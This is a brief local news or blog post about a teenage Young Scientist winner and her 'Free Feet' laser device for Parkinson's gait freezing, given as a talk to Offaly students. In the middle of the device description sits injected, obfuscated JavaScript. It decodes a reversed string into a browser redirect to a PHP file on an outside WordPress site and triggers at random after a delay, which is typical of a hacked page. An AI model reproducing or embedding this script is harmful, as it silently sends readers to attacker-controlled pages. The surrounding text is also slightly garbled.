Talented Young Scientist Inspires Midlands Students

We were so lucky to have Young Scientist Edel Brown from Galway in the region today to speak to students at Killina Secondary School in Offaly.

Edel is a former student of Presentation College, Athenry and is now studying Biotechnology at NUI, Galway. She recently won the Best Individual Senior Award at the BT Young Scientist Exhibition. Edel won the award for her ‘Free Feet’ project. ‘Free Feet’ is a device that reduces the freezing of gait in Parkinson’s disease. The idea of ‘Free Feet’ is to attach a simple laser pointer device to a patient’s shoe. This puts a $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dot on the ground, giving the patient a target to concentrate on.

“Gait freezing is a disabling symp tom of Parkinson’s. 72% of people suffering from the disease experience it. It makes them feel like they’re stuck to the ground and they can’t move their legs or feet,” said Edel.

The students listened with great interest to Edel’s s tory which, given her young age of just 17 is truly impressive! We really were privileged to have her as part of the Midlands Science Festival and wish her every success in her future as a budding scientist and entrepreneur.